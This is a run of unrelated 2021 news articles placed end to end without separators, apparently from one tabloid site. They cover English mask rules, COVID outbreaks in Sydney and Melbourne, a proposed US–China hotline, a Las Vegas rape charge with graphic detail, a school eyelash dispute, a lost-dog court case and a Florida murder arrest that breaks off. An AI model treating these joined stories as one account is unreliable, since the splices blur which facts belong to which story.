Dame Sarah told Good Morning Britain: 'None of the protective measures are completely effective on their own and we get the best protection when we link up different ways of protecting ourselves.

'So if we get everybody who is eligible for the vaccine to have the vaccine, if we wear a facemask indoors in crowded areas.

Transport Secretary Grant Shapps today backed London Mayor Sadiq Khan 's move to keep them compulsory on the Tube, buses and taxis in the capital. Pictured: People wear face masks at Waterloo Station in London today

Boris Johnson (pictured today) called for continued mask-wearing in busy indoor settings such as trains, supermarkets and cinemas despite the mandate being lifted on Monday

The coronavirus restrictions which will be removed from July 19

Masks 'probably won't do any good' from July 19 because not enough people will wear them, top SAGE expert claims Wearing a mask after Freedom Day 'probably won't do any good', one of the Government's top scientific advisers claimed today. Professor Graham Medley accepted there was still a lack of evidence about how useful masks are but said is was his personal belief they only work when 'everybody' wears one. From July 19, people in England will no longer be legally required to wear a face covering on public transport or in shops, restaurants and other indoor spaces. But ministers and scientific advisers are still encouraging people to don a mask in crowded spaces where the risk of Covid is higher. Professor Medley told the BBC Radio 4 Today Programme: 'I understand the Government's reluctance to actually mandate it. 'But on the other hand, if it's not mandated it probably won't do any good.' Professor Medley is the chairman of SAGE's modelling group SPI-B, whose forecasts pointed towards a smaller wave this autumn and gave ministers the confidence to press ahead with the final unlocking. He added: 'I personally will wear a mask to protect other people. I think it's quite a reasonable thing to do. It doesn't have a huge imposition in terms of economic impact or in terms of freedom, and I think there is evidence to suggest it does good, but only if everybody does it.' 'So I think that, without the mandation, then we end up with a situation where even if the majority of people, let's say 70 per cent of people wear a mask, will that actually do any good because of the 30 per cent who don't? I think that is something which still needs to be determined and discussed.' There is enough evidence to show masks offer at least some protection against catching and spreading Covid but the extend of this protection is still unknown. Advertisement

'Remember, we wear a mask to protect other people  they're not to protect us so much as to protect other people from us, from the risk that we might be infected.'

'And I think it's a sign of respect, if you're in a situation where you might be able to transmit the virus to somebody else, to keep the mask on.

'I will follow Chris Whitty's advice to wear a mask in indoor crowded situations, or if anybody else was particularly wanting me to wear a mask then I would.'

Professor Catherine Green, who was also part of the team that developed the vaccine, said: 'The vaccine is a seatbelt, it's keeping everybody around us safe.

'There's no reason not to wear a mask too  sometimes two safety measures are better than one, and not everybody can take the vaccine.'

The experts backing of masks come as Mr Khan broke ranks by announcing he wanted to keep masks compulsory on public transport in London despite the the end of legal restrictions across England from Monday.

The Transport Secretary Grant Shapps played down the tensions this morning saying he had 'expected' operators to put in place 'conditions of carriage' to ensure that passengers were safe on public transport.

Passengers on trains in and out of London terminals will not need to wear masks during their journeys but must while travelling around the city in the increasingly confused situation.

Unions have warned that the 'botched' approach to setting the rules will leave railway workers facing the threat of violence from angry customers.

Mr Khan told BBC Breakfast that around 400 enforcement officers would be deployed to check people are still wearing masks in the capital.

'It's not perfect. [It] would have been better if national rules applied across the country to avoid any confusion,' he said.

'The government for their own reasons have decided not to do that.'

Asked about the lack of restrictions on services from outside the city, Mr Khan said: 'A number of services that come into London are not my responsibility.

'If you are in London, you need to follow the rules.'

SAGE adviser Professor Graham Medley, chairman of the modelling group Spi-B, yesterday said he would continue to wear a covering next week  but warned it 'probably won't do any good' unless people are forced to.

There is enough evidence to show masks offer at least some protection against catching and spreading Covid but the extend of this protection is still unknown.

Speaking about the move to drop masks from next week, Professor Medley yesterday backed the idea of keeping masks mandatory.

He told the BBC Radio 4 Today Programme: 'I understand the Government's reluctance to actually mandate it.

'But on the other hand, if it's not mandated it probably won't do any good.'

He added: 'I personally will wear a mask to protect other people. I think it's quite a reasonable thing to do.

It doesn't have a huge imposition in terms of economic impact or in terms of freedom, and I think there is evidence to suggest it does good, but only if everybody does it.'

'So I think that, without the mandation, then we end up with a situation where even if the majority of people, let's say 70 per cent of people wear a mask, will that actually do any good because of the 30 per cent who don't?

'I think that is something which still needs to be determined and discussed.'
A pregnant woman has tested positive to Covid after undergoing a caesarian section at one of Sydney's busiest hospitals.

The woman was at the Liverpool Hospital for the procedure on Tuesday and spent almost the entire day there, possibly visiting a number of hospital areas.

All non-urgent surgery has been delayed and deep cleaning of the operating theatres is underway.

Contact tracers have also interviewed the woman - with some close contacts already tested and instructed to isolate and for 14 days.

Emergency surgery is continuing as normal.

The woman's positive test is to be included in Thursday's Covid case numbers.

A woman who was at Liverpool Hospital for a C-section birth has tested positive to Covid (file image)

NSW recorded 97 new local COVID-19 cases in the 24 hours to 8pm on Tuesday, with at least 31 of them circulating in the community during part of all of their infectious period.

The lockdown fo Greater Sydney and surrounding areas was scheduled to end on Friday but will now remain in place until at least July 30.

It means more than five million people will endure at least five weeks of lockdown. Restriction settings across regional NSW remain unchanged.

The state's schools will also continue with online learning.

The NSW premier says newly announced government support should cushion the financial blow - with the state and federal governments on Tuesday announcing an extensive financial support package.

Two pedestrians walk along the Bondi Beach boardwalk on Wednesday. Lockdown restrictions are in place across Greater Sydney, the Blue Mountains, the Central Coast and Wollongong

The state government expanded a business grants program and will cut or defer payroll taxes for most companies, while workers who have lost eight or more hours a week due to lockdowns will be able to apply for up to $600 per week in federal support.

The increase in workers' payments kicks in once a lockdown exceeds 21 days.

Premier Gladys Berejiklian said on Wednesday that an extension to lockdown provisions was inevitable given the extent of COVID-19 spread in the community.

But the new financial support measures would help people avoid unnecessarily leaving home.

'We want to see this lockdown end in a timely way but no matter how long we need, we will have that support for businesses and individuals,' Ms Berejiklian told reporters.

An entire apartment block (pictured) in Rosebery has been placed on alert after a casual contact stayed at the complex from last Thursday to Monday

A pedestrian walks through Kings Cross in Sydney's inner-city on July 13

A new list of 28 Covid exposure sites across Sydney has been revealed, as health officials admit a Woolworths all the way in Dubbo was listed by mistake.

Among the concerning new venues are seven Woolworths stores across the city, a Coles, post shop, and two medical centres that were all visited by an infected person.

Four of the sites are Tier one, meaning anyone who visited at the times of concerns are considered close contacts and must get tested immediately and isolate for 14 days - regardless of the result.

They include Fairfield's Sunshine One on Friday July 9 from 10.40am to 11.40am, Cabramatta Medical and Dental Clinic on Tuesday July 13 from 10.30am to 11.30am and nearby True Scan Radiology later on the same day from 11am to 1pm.

Meanwhile, Redfern's Strawberry Hills Post Shop, in the city's inner-west, was impacted on Thursday July 8 from 1pm to 2.30pm.

The 24 casual contact sites include Bonnyrigg Bunnings, and supermarkets in Fairfield Heights, Waterloo, Merrylands, Fairfield, Riverwood, and Wetherill Park

An entire apartment block in Rosebery, just south of the CBD, has also been placed on alert after a casual contact stayed at the property for five days from last Thursday to Monday.

Hundreds of residents and those who visited Valentine Place residential apartment complex have been advised tp get tested and isolate until a negative result is received.

Anyone who visited BWS Bondi Junction (pictured) on Saturday July 10 from 3.45pm to 3.50pm has been urged to monitor for symptoms

NSW Health also issued an alert for a supermarket in Dubbo, in the state's central north, in Wednesday's exposure sites list.

But the department quickly retracted the warning, saying the actual Woolworths of concern was located in Sydney's southwest and that there are no known cases out in Dubbo.

'There is no venue of concern in Dubbo,' NSW Health wrote on Twitter.

'[The] correct venue is in Riverwood.'

Most of the 28 venues of concern are located in Sydney's southwest, where the outbreak is currently concentrated after spreading from its epicentre in the eastern suburbs.

Health workers are working around the clock to test thousands of residents at the Fairfield Showground drive-through clinic (pictured)

Thousands of residents in the Covid hotspot of southwest Sydney have also been forced to queue for up to eight hours to be tested for Covid.

Residents in the Fairfield local government area who work outside the region must now get tested every three days under a new rule by the NSW government.

However the preparations for the testing onslaught appeared to be inadequate, with understaffing meaning there was a queue outside the 24-hour testing centre at Fairfield Showground which stretched back for kilometres from 6am on Wednesday.

Fairfield has a population of around 180,000 - with about 45,000 estimated to work outside the LGA.
A major Melbourne shopping centre has been added to the city's spiralling Covid exposure site list after infected removalists from Sydney brought the virus interstate.

Tough Covid restrictions, including mandatory masks indoors, are expected to be imposed on Melbourne in the coming days after the city recorded 11 new cases.

Victoria is desperately hoping to avoid yet another outbreak that could prompt a fifth lockdown after Sydney's Indian Delta plague spilled over the border.

Three removalists from Sydney picked up furniture from a flat in Melbourne and dropped it of in Adelaide last week, while two were infected with coronavirus.

Covid requirements such as mask wearing and social distancing were reportedly not followed, and seven people in the apartment building have since tested positive.

The worrying development has put several venues in the city on a Covid exposure alert, including two packed shopping centres.

Melbourne could see a string of restrictions being enforced in the coming days after 11 new Covid-19 cases were recorded

DFU Uni Hill shopping centre in Bundoora was revealed as an exposure site late on Wednesday night, after an infected case shopped at Nike, Adidas, Asics, Puma, Cotton On and Connor.

The latest infection is a teacher from Bacchus Marsh Grammar who attended a staff day on Monday but had no contact with students on Tuesday or Wednesday.

Staff have been told to self-isolate and get tested, while the school's Woodlea and Maddingley campuses will be closed for the rest of the week.

The teacher had gone to the MCC and for dinner with a friend who lives in the Ariele Apartments, where the infected removalist went.

Barwon Heads Primary School near Geelong has also been closed until further notice after a case of coronavirus was reported.

The teacher has already passed the virus onto two household contacts, while the man in his 60s who lives in the apartments has spread it to his elderly parents.

DFU Uni Hill shopping centre (pictured) in Bundoora was revealed as an exposure site late on Wednesday night, after an infected case shopped at Nike, Adidas, Asics, Puma, Cotton On and Connor

Melbourne is as a result staring down the barrel of another wave of restrictions just as it relaxed measures from its last outbreak, and potentially a fifth lockdown.

Visitors to homes and the number of patrons allowed inside venues could be reduced as the city grapples with the new outbreak.

Poll Should these three removalists be punished if they broke Covid rules? Yes No Not sure Should these three removalists be punished if they broke Covid rules? Yes 1542 votes

No 278 votes

Not sure 75 votes Now share your opinion





The changes could come into effect as early as Thursday, industry figures told the Herald Sun.

Venues will likely only allow seated dining and dance floors will again be banned.

Victorian Government is understood to be weighing up which restrictions need to be enforced to prevent the spread of the virus and prevent a full-blown outbeak.

Four of the new cases recorded on Wednesday are residents on the third floor of the Ariele Apartments in Maribyrnong, which has been in lockdown since Monday night after the infected removalists from Sydney visited the building.

Among those cases is a man in his 60s, who subsequently infected his parents, aged 89 and 90.

The man also attended an AFL match between Carlton and Geelong on Saturday and Highpoint Shopping Centre on Friday.

Three other new cases are from another apartment in the building. The two infected apartments are on the same floor.

Victoria has recorded 11 new coronavirus cases on Wednesday, with half linked to ground-zero apartment block Ariele Apartments in Maribyrnong (pictured)

Thousands of supporters in the members section of the MCG at the Carlton vs Geelong game on Saturday are now isolating after an infected person attended the match

MELBOURNE'S EXPOSURE SITES Tier 1 - Anyone who has visited the following locations during the listed times must get tested immediately and quarantine for 14 days from the exposure: Bundoora: Nike, DFO Uni Hill - Friday 9 July , 4.15pm - 5pm Bundoora: New Balance, DFO Uni Hill -Friday 9 July, 4.30pm - 4.45pm Bundoora: Puma Australia DFO Uni Hill - Friday 9 July, 4.05pm - 4.50pm Bundoora: Fila, DFO Uni Hill - Friday 9 July, 4.05pm - 4.50pm Bundoora: ASICS, DFO Uni Hill - Friday 9 July, 4.40pm - 4.55pm Bundoora: Under Armour, DFO Uni Hill - Friday 9 July, 4.25pm - 5.10pm Bundoora: yd, DFO Uni Hill - Friday 9 July, 4.25pm - 5.30pm Bundoora: Cotton On, DFO Uni Hill, Friday 9 July, 4.45pm - 5.30pm Bundoora: Adidas, DFO Uni Hill, Friday 9 July, 4.50pm - 5.35pm Bundoora: Rivers, DFO Uni Hill, Friday 9 July, 4.55pm - 5.40pm Bundoora: Connor Clothing, DFO Uni Hill - Friday 9 July, 5pm - 6pm Craigieburn: McDonalds Craigieburn - Sunday 11 July, 11.50pm - 12.30am Craigieburn: McDonalds Craigieburn - Tuesday 13 July, 1.35pm - 2.20pm Campbellfield: Bizzler Take-Away Food - Sunday 11 July, 2.30pm - 3.30pm Epping: Southern Cross Medical Imaging - Monday 12 July, 9.45am - 10.35am Maribyrnong: Bras N Things, Highpoint Shopping Centre - Friday 9 July, 11.15am - 11.30am Maribyrnong: Ariele Apartments - Tuesday 13 July, 12am - 11.59pm Maribyrnong: Ferguson Plarre Bakehouses - Friday 9 July, 10am - 10.40am Maribyrnong: Aquatic Centre - Saturday 10 July, 10am - 11.30am Maribyrnong: SkinKandy, Highpoint Shopping Centre - Friday 9 July, 11.15am - 12.35pm Maribyrnong: The Reject Shop, Highpoint Shopping Centre - Friday 9 July, 11.30am - 12.10pm Melbourne: Young & Jackson - Saturday July 10, 2.40pm - 4.10pm Oakleigh: Vanilla Lounge - Friday 9 July, 2.45pm - 4.30pm Public Transport: Yarra Trams- Route 82 (Edgewater Square/Gordon St Maribyrnong, to Leeds St/Footscray Station, Footscray) - Saturday July 10, 2.09pm - 2.25pm Public Transport: Yarra Trams- Route 70 (Flinders St/Swanston St to MCG) - Saturday July 10, 3.46pm - 3.53pm Tier 2 - Anyone who has visited the following locations during the listed times should urgently get tested, then isolate until confirmation of a negative result. Continue to monitor for symptoms, get tested again if symptoms appear: Broadmeadows: Arrow Petroleum Service Station - Sunday 11 July, 10pm - 12.30pm Bundoora: DFO Uni Hill - Friday 9 July, 4.30pm - 6.30pm Epping: Epping North Dental Clinic - Monday 12 July, 9.45am - 10.35am Epping: ACL Collection Centre - Monday 12 July, 9.45am -10.35am Epping: O'Herns Road/Dalton Road Medical Centre - Monday 12 July, 9.45am - 10.35am Highton: APCO Service Station - Sunday 11 July, 2.10pm - 2.45pm Maribyrnong: ALDI - Sunday 11 July, 4.10pm - 5pm Maribyrnong: Foodcourt, Highpoint Shopping Centre - Friday 9 July, 11.40am - 12.20pm Maribyrnong: North Carpark Level 1, Highpoint Shopping Centre - Friday 9 July 11.10am - 11.40am and 12.00pm - 12.30pm Maribyrnong: ALDI - Friday July 9, 5.30pm - 6.10pm Public Transport: Metro Train: Footscray Station to Flinders Street Station - Saturday July 10, 2.27pm - 2.46pm Public Transport: Tram Stop 5 - Flinders Street - Saturday July 10, 3.43pm - 3.46pm Public Transport: Jolimont Railway Station - Saturday July 10, 7.05pm - 7.17pm Public Transport: Metro Train (Jolimont Station to Flinders St Station) - Saturday July 10, 7.13pm - 7.20pm Richmond: Level 2 of MCG Members' Reserve, Carlton v Geelong game - Saturday July 10, 4pm - 8pm Waurn Ponds: Officeworks - Sunday 11 July, 1.30pm - 2.30pm Tier 3 - Anyone who has visited this location during these times should monitor for symptoms - If symptoms develop, immediately get tested and isolate until you receive a negative result: Footscray: Footscray Station - Saturday July 10, 2.25pm - 2.30pm Public Transport: Flinders Street Railway Station - Saturday July 10, 2.45pm - 3pm Public Transport: Flinders Street Railway Station - Saturday July 10, 7.15pm - 7.40pm Richmond: MCG, Carlton v Geelong game (excluding Level 2 of MCG Members' Reserve) - Saturday 10 July, 4pm - 8pm Advertisement

Covid-19 commander Jeroen Weimar urged anyone who visited an exposure site or has symptoms to get tested.

'The next two days are particularly critical. We are right on the heels of this particular outbreak,' he told reporters on Wednesday.

Some 200 residents of the Ariele Apartments were forced into 14 days of quarantine after a group of Sydney removalists did a pick up at the complex on Thursday while infectious.

The trio also did a drop off at a Craigieburn home the same day and visited several petrol stations and fast-food outlets, which are listed as tier-one exposure sites.

A resident of the building aged in his 60s, as well as his parents aged 89 and 90, have all tested positive as the complex remains locked down

Mr Weimar confirmed the three removalists, two of whom tested positive, weren't wearing masks, in a breach of their workers permit conditions.

'There was a permit in place and the permit has very clear obligations within it,' he said.

'You're in virtual isolation when you're in Victoria, you need to wear a mask.

'You need to be socially distanced, you need to stay in your cabin all the time and you're not doing five hours of removalist work in an apartment building  so we're concerned about that.'

Dr Weimar also said it has been a 'frustrating and challenging' process interviewing the removalists as they attempt to identify further exposure sites and close contacts.

Victorian Government is understood to be weighing up which restrictions need to be enforced to prevent the spread of the virus and prevent a full-blown outbreak. Pictured: Victoria Police officers patrol through a shopping centre following an anti-lockdown protest in response to the city's coronavirus disease in September 2020

'Well they're not being deliberately forthcoming, let me put it that way,' he said.

The trio are believed to have slept in their trucks on Thursday night before travelling to South Australia the next morning.

It's also understood the removalists showered and had a meal at the Mobil service station in Ballan, about 80km north of Melbourne on Thursday between 5pm to 7pm.

The last remaining case is a man in his 30s who attended Coles Craigieburn at the same time as a member of a family who recently returned from Sydney infected with Covid-19.

Three members of the family from the City of Hume flew into Melbourne on July 4, while a fourth drove back on Thursday.

The family had red zone permits to return to Victoria, meaning they have been required to self-isolate at home since their arrival.

A pedestrian is seen in Melbourne's CBD last week after restrictions were eased. However there are now fears the city could once again have lockdown measures imposed

A resident of the Ariele Apartments (pictured) building aged in his 60s, as well as his parents aged 89 and 90, have all tested positive. Three other new cases are from another household in the building

INFECTED MELBOURNE FAMILY CLUSTER A family of four returned from Sydney, three by car and one by plane on July 4 and July 8. All four have progressively tested positive since Sunday One family member, however, visited Coles Craigieburn and a Metro petrol station in Broadmeadows, the latter a tier-one exposure site A man in his 30s who attended Coles Craigieburn at the same time as one of the family members has tested positive The family had red zone permits to return to Victoria, meaning they have been required to self-isolate at home since their arrival Exposure sites: Coles Craigieburn Central visited by one of the family members on Saturday, July 10, between 5.28pm and 6.38pm Metro Petroleum Broadmeadows visited by one of the family members on Sunday, July 11, between 1.19pm and 2.04pm Advertisement

One family member, however, visited Coles Craigieburn and a Metro petrol station in Broadmeadows - the latter a tier-one exposure site.

After initially testing negative when they first returned, all four have since tested positive for the virus.

There are also now 2,000 AFL fans who have been potentially exposed to the virus with supporters in the members section of the MCG at the Carlton vs Geelong game on Saturday being identified as close contacts.

These footy fans are now in isolation.

Level 2 of the MCC Members' Reserve has been listed as a Tier 2 exposure site, meaning people must seek a test and isolate until they receive a result.

Anyone on Level 3 must monitor symptoms after it was listed as a low-risk Tier 3 exposure site.
President Joe Biden is looking to set up an emergency direct hotline with the Chinese government to reduce conflict between Washington and Beijing, a Wednesday report revealed.

The rapid communication tool with the Chinese Communist Party (CCP) would be similar to the 'red phone'  a phone line established between the U.S. and Soviet Union during the Cold War to avoid nuclear attacks.

The idea of a direct line has not yet been formally proposed to Chinese President Xi Jinping, two sources familiar with early conversations told CNN.

A hotline, the sources detailed, would allow Biden and other top national security and Defense Department officials to send encrypted messages or phone calls to Xi and his team.

The device would allow the U.S. and China to share urgent information with each other, like military movements or warnings of impending cyber attacks.

News of plans for a hotline comes as tensions between the two nations continue to heighten.

President Joe Biden (left) wants to set up an emergency hotline over encrypted email for rapid communication with Chinese President Xi Jinping (right) and other top officials with the Chinese Communist Party amid rising tensions

The hotline would be similar to the so-called 'red phone' emergency line between the U.S. and Soviet Union established during the Cold War to avoid nuclear war

In the most recent turn of events, the State Department on Monday again accused the CCP of genocide and crimes against humanity in its repression of Uyghurs in the Xinjiang region.

Hours earlier, a U.S. ship entered disputed waters in the South China Sea, causing even more discontent from the CCP.

While a hotline with Beijing already exists at the Pentagon, the communication tool meant to exclusively relay military matters is rarely used.

'We do have a hotline. It's known to have, the couple of times we've used it, just rung in an empty room for hours upon hours,' Senior National Security Council Indo-Pacific Coordinator Kurt Campbell said earlier this year during a conversation about US-China diplomacy and Taiwan.

The so-called 'red phone' to the Kremlin was established in 1963, but the actual device was never a physical red-colored telephone or even a phone line in general.

Rather, the hotline, when first implemented during the Soviet-era, was Teletype equipment. In 1986 shifted to fax machines. Since 2008, the emergency hotline between Washington and Moscow has been hosted on a computer link where messages are exchanged over a secure email.

A similar sort of set up with China has been in the works since at least Barack Obama's presidency. The idea, however, just started to come to fruition in the final year of Donald Trump's term in the form of a national security memo, a source familiar with the communication said.

State Department and National Security Council officials are looking into how the device would work in the technical sense  and it's still unclear whether the CCP would agree to implement it.

The plan is still in its infancy, however, and the Biden administration still has several details to work out until a hotline is proposed to Xi.

Current and former U.S. officials also told CNN that there have been ongoing issues when it comes to receiving timely responses from Beijing  especially when it comes to urgent matters.

The biggest issue with rapid communication appears to be with the top-down nature of the CCP political system, mainly that most contact lower than leader-level is disincentivized.

On Monday, the State Department released a report where it claimed China is one of the six places in the world where crimes against humanity are being committed or are at risk of happening.

In the report on genocide prevention, the U.S. agency listed imprisonment, torture, enforced sterilization and persecution among Beijing's crimes against Uyghurs in the Xinjiang region

The public accusations further ramp up tensions, on the same day the CCP claimed it 'drove away' an American warship and accused President Biden of 'provocative actions' after the destroyer sailed in the South China Sea.

'This year, for the first time, the report provides direct detailed accounts of atrocities taking place in specific countries, including Burma, Ethiopia, China , and Syria,' said Secretary of State Antony Blinken.

'These places represent some of the toughest foreign policy challenges on our agenda,' he added. 'And we'll keep working toward resolutions that reflect our commitment to human rights and democratic values.'

The report was launched amid fresh geopolitical muscle flexing.

And just hours before its release, the USS Benfold, a guided-missile destroyer, entered disputed waters in the South China Sea near the Paracel Islands.

China claims the islands, and the surrounding waters, as its territory although this is not internationally recognized.
A San Francisco-area rapper has been charged with brutally raping and beating a woman who woke up at a Las Vegas hotel to find 'blood everywhere' and later had surgery for her injuries.

Suspect Skye Branklyn, 41, a convicted sex offender, was jailed last month in Nevada stemming from an incident at the Aria Hotel June 1, but the arrest report was just released Tuesday.

Branklyn remained at the Clark County Jail on $1M as of Wednesday. He faces two counts of sexual assault, one count of sexual assault resulting in substantial bodily harm, one count of battery with intent to commit sexual assault, and one count of coercion sexually motivated.

Skye Branklyn, 41, who performs under the stage name name 'Sky Balla,' has been charged in Nevada with sexually assaulting and beating a woman at a Las Vegas hotel in June

The alleged rape took place in a room at the Aria Hotel on the Las Vegas Strip, where the victim said there was 'blood everywhere'

According to the report cited by KLAS, the criminal investigation into Branklyn, who performs under the stage name 'Sky Balla,' was launched June 4, after his accuser sought treatment for severe injuries at University Medical Center and told a nurse there that she had been raped.

Police were notified and interviewed the woman, who told them she met Branklyn, whom she knew only as 'Sky,' at the High Limit Lounge at the Aria Hotel on the Las Vegas Strip.

The rapper ordered some tequila shots and his date said she blacked out. The next thing she remembered was feeling severe pain and finding Branklyn on top of her sexually assaulting her in a room as she begged him to stop, according to the report.

The victim told detectives Branklyn told her to 'shut up' and punched her several times until she lost consciousness.

When the victim later woke up, she said Branklyn was trying to force himself into her mouth, reported KTNV.

Branklyn allegedly poured alcohol down the victim's throat, then forced her into an elevator and brought her to the hotel room, where he proceeded to sexually assault her as she begged him to stop, according to an arrest report

Branklyn is a registered sex offender in California, where he was convicted of rape in 2009 (pictured in his old mugshot)

The woman had vomit in her hair and said there was 'blood everywhere' in the room. She was able to crawl to the bathroom, where she remained for two hours in the dark, according to the report.

The woman eventually told Branklyn she needed to go home and he called her an Uber.

A couple of days later, the victim confided in a friend about the alleged rape, and the friend convinced her to seek medical attention for her injuries, which required surgery.

Police later learned that one housekeeper at the Aria Hotel was so concerned about the amount of blood in the room that they alerted security about a biological hazard, and another member of the cleaning staff was afraid to enter the room.

Security guards at the hotel attempted to reassure cleaners that the red stains in the room were spilled wine, but housekeepers told police they were certain it was blood.

According to the document, investigators obtained surveillance video that showed Branklyn forcing the victim to drink by pulling her head back and pouring liquid down her throat, then grabbing her by the neck and pushing her inside an elevator.

Police interviewed security guards at the hotel who had Branklyn's California driver's license on file.

Detectives learned that Branklyn was convicted in 2009 of rape by force of fear in California. He was released from prison in 2013 and ordered to register as a sex offender.
A mother has sparked a backlash after complaining her teenage daughter was disciplined for breaching school rules over her false eyelashes.

Parent Angela Jackson is taking a stand against an academy after Chelsea Silk, 14, was told she faces being put in isolation.

Chelsea says she was left in tears when a member of staff stood over her in the toilets until she took off the lashes.

Angela was contacted by the Royal Wootton Bassett Academy last Wednesday and told false eyelashes were against the uniform rules.

Chelsea has since been placed in isolation every day that she has turned up to school wearing the eyelashes.

But Angela, who gave permission for her daughter to be identified and pictured, is adamant that she won't back down over what she calls 'Lashgate'.

She has faced a backlash herself - with hundreds of people making online comments saying the school is in the right.

Angela, a kennel assistant and volunteer for dog rescue charities, said: 'I went in to pick her up and she was very upset because someone stood over at the basin until she took them off.

Chelsea Silk, 14, was disciplined after turning up at school wearing false eye lashes

Parent Angela Jackson is taking a stand after Chelsea was told she faces being put in isolation

'I will not back down on this and she will keep going in to school wearing the eyelashes. It means that she will be in the isolation unit.

'She has never been in there before for anything and has never had a detention.

'I don't see how wearing false eyelashes impacts on her school work.

'I took photographs of her wearing one set of false lashes like she does for school and another of her wearing two.

'I accept that wearing two sets would be inappropriate but I can't see that the one set can cause any problems.'

But Angela's protest has sparked controversy on social media, with hundreds of people agreeing with the school's strict uniform policy.

One said: 'I am sure you can live without false eyelashes for a few hours.'

A second said: 'Always believed uniform. Discipline is a key part of education.

'It doesn't set a good example going against policy - it makes a child spoilt.

'You don't go to a job wearing something that is unnecessary. School is for learning it's not a fashion parade.

Her mother Angela Jackson hit the roof to slam Royal Wootton Bassett Academy

'People should encourage their children to follow rules, not to be disobedient and break them.'

A third added: 'I agree with the school, there's jobs out there that aren't allowed to wear acrylic nails, does that mean the company is pathetic?

'Uniform and school policies are no different to company uniform and policies they are there for a reason!

'When I was younger I wasn't allowed to wear the fashionable blue eyeshadow and mascara and had to take it off at school!

'If you can't abide by school policies then there's no hope if you get a Job with uniform and strict policies in the future!'

'I wouldn't risk my child's education in her GCSE year,' a fourth added.

'Certainly not over false eyelashes. This is such a pointless battle to fight. You don't need to wear false lashes to school.'

A fifth said: 'Go put your big girl pants on and get over yourself!

'It's a school not a bloody nightclub! If kids can't follow rules at school what the hell are they going to be like when they start work?'

'I hope some of these school CHILDREN think about applying for the armed forces,' a sixth said.

Angela said unless the school rules are reworded specifically to ban the wearing of eyelashes - Chelsea will continue to wear them.

Angela, who has two other children at the same school and a son who left Year 11 last year, added: 'I have never had any complaints about Chelsea over anything else.

'Most of the girls in her year wear false eyelashes. She has been told before not to wear them but I totally disagree they are a health hazard.

'I make a stand against the schools pathetic policy in relation to this and stand alongside all of the female students of Royal Wootton Bassett Academy that wish to wear false eyelashes to enhance their natural attributes and boost their self-esteem.

'The lashes do not impede my child's ability to read, write or learn and I find it absolutely pathetic that the school has chosen the path of sanction which leads to exclusion above the right for my child to be in school being educated over a set of false eyelashes.'

Angela is now worried that Chelsea may be prevented from going on a trip to Swanage as part of her GCSE coursework.

She is also concerned that while her daughter is in isolation she is missing out on practical work in preparation for next year's GCSE exams.

The school's uniform policy says that make-up should be kept to a minimum and only neutral tones used. It also says no nail varnish, gel nails or artificial nails may be worn. But on the school's website false lashes are not specifically mentioned.

Deputy head Mari Roberts said: 'The school is aware that the mother does not support us right now, but we have spent time working with her and her daughter to de-escalate the situation.

'The school adopts an empathetic inclusive approach to individual student needs as is the case in this instance. Our Behaviour for Learning school system was in place pre-Covid and we have not changed any of the high expectations we have of our students.

'We provide stability and consistency for our students and families in a time of Covid instability.

'The majority of our parent body support us, making us an extremely popular school.'
An Italian chef has launched a legal fight for the return of his lost Staffordshire Bull Terrier that was mistaken for a stray and rehomed by a canine charity after her new owners that took her in refused to give her back.

Nennella, a four-year-old dog whose name means 'sweet', jumped over a wall while staying with a friend of owner Walter Bocchetti, 39, in September last year, and was found by a local authority dog warden later that day.

Mr Bocchetti searched for Nennella for 22 days before discovering that she had been caught and rehomed by canine charity All Dogs Matter because she had no collar or identity chip, and they assumed she was stray.

He was particularly attached to the terrier, which he called 'his world', because she helped comfort him after his brother died, Central London County Court heard.

Mr Bocchetti, who ran an online campaign and spent thousands enlisting top lawyers to force All Dogs Matter to reveal who is keeping Nennella, is now suing the new owners for possession of the terrier.

Nennella, a four-year-old dog whose name means 'sweet', jumped over a wall while staying with a friend of owner Walter Bocchetti, 39, in September last year, and was found by a local authority dog warden later that day

Mr Bocchetti searched for Nennella for 22 days before discovering that she had been caught and rehomed by canine charity All Dogs Matter because she had no collar or identity chip, and they assumed she was stray

The court heard that Nennella vanished from Enfield, north London, on September 21 last year and was found wandering in Tottenham later the same day.

Local authority dog staff ended up transferring Nennella to All Dogs Matter on September 28, and she was then 'fostered' for a short time before the charity transferred her to her new owners on October 12.

Mr Bocchetti claims Nennella does not belong to the new owners and claims the London Borough of Haringey jumped the gun and transferred her to the charity before the 'seven clear days' they ought to have held on to her were up.

Cathryn McGahey QC last week asked Judge Marc Dight for a court order requiring All Dogs Matter to disclose the name and address of the dog's new keepers to enable him to sue them for her return, the court heard.

'Mr Bocchetti maintains that he still has title to Nennella, and he is desperate for the return of his dog,' she said. 'All Dogs Matter has refused without a court order to disclose the identity or address of the new keeper.

'It's respectfully submitted that Mr Bocchetti has a strong case that he is still the owner of Nennella. However, he cannot bring proceedings to recover Nennella without knowing who is currently keeping her.'

Since October or November, the new keepers 'were on notice that Mr Bocchetti was seeking to recover his dog', the court heard.

Mr Bocchetti, who ran an online campaign and spent thousands enlisting top lawyers to force All Dogs Matter to reveal who is keeping Nennella, is now suing the new owners for possession of the terrier

'Mr Bocchetti asked if the new owners could return the dog to him but they declined,' the QC continued. 'We accept that they took her on with no idea this was coming down the line.'

The Trustees of All Dogs Matter resisted Mr Bocchetti's bid, claiming that his proposed case against Nennella's keepers would be 'unarguable or extremely weak'. They said that if Nennella had been wearing her chip and collar, the row could have been avoided.

After a two-hour hearing Judge Dight ruled that Mr Bocchetti should be given the identity of the dog's new owners, although he made no findings about the rights and wrongs of the ownership dispute.

It was 'fair and just' to make the order, he said.

He directed that the identity of Nennella's new owners must not be disclosed in any future court case, due to concerns about a hostile social media response.

Ira Moss, General Manager of All Dogs Matter, said: 'Nennella was taken to the Haringey dog pound in Waltham Abbey after being found on a busy train platform in Tottenham. She was not micro-chipped, as required by law, or wearing a collar and a tag to be able to identify her.

'Nennella was kept at the dog pound and then transferred in good faith to our charity, All Dogs Matter, for rehoming. We then placed her in foster home, as she was distressed in kennels, before formally rehoming her to a safe new home nearly a month later.

'The details of Nennella's new owner have not been given to Mr Bochetti only to his legal team as the judge was very concerned about the threats made by individuals online towards our charity staff and Nenella's new owner.

'Nennella is really happy and settled in new home, where she has been for 10 months, after being adopted and her loving new owners would be heartbroken to now lose her.

'It's a regrettable situation for everyone involved and we sympathize with all parties.'
A 36-year-old South Florida woman who neighbors describe as 'cult-like' has been arrested, weeks after the bodies of her two young daughters were found floating in a canal.

Tinessa Hogan, 36, was arrested Tuesday night on two counts of first-degree murder

